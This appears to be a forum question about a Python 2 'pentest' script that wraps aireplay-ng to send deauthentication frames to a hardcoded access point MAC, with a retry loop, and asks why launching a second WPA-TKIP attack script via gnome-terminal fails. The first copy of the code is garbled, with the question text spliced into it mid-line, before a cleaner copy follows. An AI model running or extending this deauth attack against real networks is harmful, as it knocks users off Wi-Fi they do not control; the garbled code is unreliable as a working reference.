i use my python script for pentest
an i want to call another script in new terminal,
im getting error "There was an error creating the child process for this terminal"
if i using this line with space its only open new terminal with python shell but its not read the path of the new script /root/Desktop/script/WPA1TKIP.py
os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")
where i'm wrong?
#!/usr/bin/python
import os
bssid_ap = '7C:03:4C:BA:72:F9'
spoof_mac = 'aa:bb:cc:dd:ee:ff'
interface = 'wlan0'
cap_file_name = 'hot'
new_interface = 'mon0'
ssid = 'hot'
channel_number = '1'
raw_input("\n welcome M0ntanaT press to kik target..")
print
#start aireplay-ng to send deauth to station
raw_input ("" "press I use my python script for pentest
and I want to start kik target..")
aireplay = "aireplay-ng --deauth 5 " " " "-a " + bssid_ap + " " + new_interface
os.system(aireplay)
oscall another script in a new terminal.system("gnome-terminal -e
I'm getting the error "There was an error creating the child process for this terminal"
if I use this line with space it only opens a new terminal with python shell but it doesn't read the path of the new script /root/Desktop/script/WPA1TKIP.py")
#repeat send deauth to station
retry_yes = "r"
retry_no = "c"
print "\n \n If the attack was unsuccessful, press 'r' to retry."
print "" " If the attack was successful, press ' c ' to continue."
def fake_auth():py
os.system(aireplay"gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")
while 1:Where did I go wrong?
#!/usr/bin/python
import os
bssid_ap = '7C:03:4C:BA:72:F9'
spoof_mac = 'aa:bb:cc:dd:ee:ff'
interface = 'wlan0'
cap_file_name = 'hot'
new_interface = 'mon0'
ssid = 'hot'
channel_number = '1'
raw_input("\n welcome M0ntanaT press to kik target..")
print
#start aireplay-ng to send deauth to station
raw_input ("" "press to start kik target..")
aireplay = "aireplay-ng --deauth 5 " " " "-a " + bssid_ap + " " + new_interface
os.system(aireplay)
os.system("gnome-terminal -e python /root/Desktop/script/WPA1TKIP.py")
#repeat send deauth to station
retry_yes = "r"
retry_no = "c"
print "\n \n If the attack was unsuccessful, press 'r' to retry."
print "" " If the attack was successful, press ' c ' to continue."
def fake_auth():
os.system(aireplay)
while 1:
retry = raw_input("\n Press ' r ' to retry or ' c ' to continue.. ")
if retry == retry_yes:
fake_auth()
if retry == retry_no:
break